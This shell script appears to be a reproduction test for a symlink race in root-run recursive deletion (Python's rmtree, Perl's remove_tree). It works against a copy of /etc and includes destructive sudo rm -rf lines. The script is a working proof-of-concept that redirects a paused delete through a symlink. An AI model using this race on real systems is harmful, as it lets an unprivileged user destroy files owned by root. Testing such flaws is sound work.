# has to be run with `. test_issue4489.sh` in current shell, otherwise
# job control does not work

# or 'python' for testing python
THE_RUNTIME='perl' 

# ------------------

FILL_ETC='for i in xrange(0, 50000):
    with open("/root/etc/" + str(i), "w") as f:
	f.write("0")
'

function prepare() {
	echo -e "=====================\nPREPARE"
	sudo cp -a /etc /root/etc
	echo "$FILL_ETC" | sudo python2.6 -
	mkdir /tmp/attack
	cp -a /root/etc/* /tmp/attack
}

DO_ATTACK_PERL='use File::Path qw(remove_tree);
print "\nPRESS CTRL-Z TO SUSPEND EXECUTION ASAP\n";
remove_tree("/tmp/attack");
'
DO_ATTACK_PYTHON='from shutil_patched import rmtree
print "\nPRESS CTRL-Z TO SUSPEND EXECUTION ASAP\n"
rmtree("/tmp/attack")
'

function run_attack() {
	echo -e "=====================\nLAUNCH ATTACK"
	if [ "$THE_RUNTIME" == 'perl' ]
	then
		echo "$DO_ATTACK_PERL" | sudo perl -
	elif [ "$THE_RUNTIME" == 'python' ]
	then
		echo "$DO_ATTACK_PYTHON" | sudo python2.6 -
	else
		echo "PLEASE SPECIFY EITHER 'perl' OR 'python' FOR 'THE_RUNTIME'"
		return
	fi
	rm -rf /tmp/attack
	ln -s /root/etc /tmp/attack
	echo -e "---------------------\nRESUME PROCESS"
	fg
}

function cleanup_after() {
	echo -e "=====================\nCLEANUP"
	sudo rm -rf /root/etc
	rm -rf /tmp/attack
}

prepare
ls /root/etc > orig_list.txt

run_attack
ls /root/etc > new_list.txt

cleanup_after

diff -q new_list.txt orig_list.txt
if [ $? -ne 0 ]
then
	echo -e "=====================\nWARN: ATTACK SUCCESSFUL"
else
	echo -e "=====================\nOK: attack has no effect"
fi

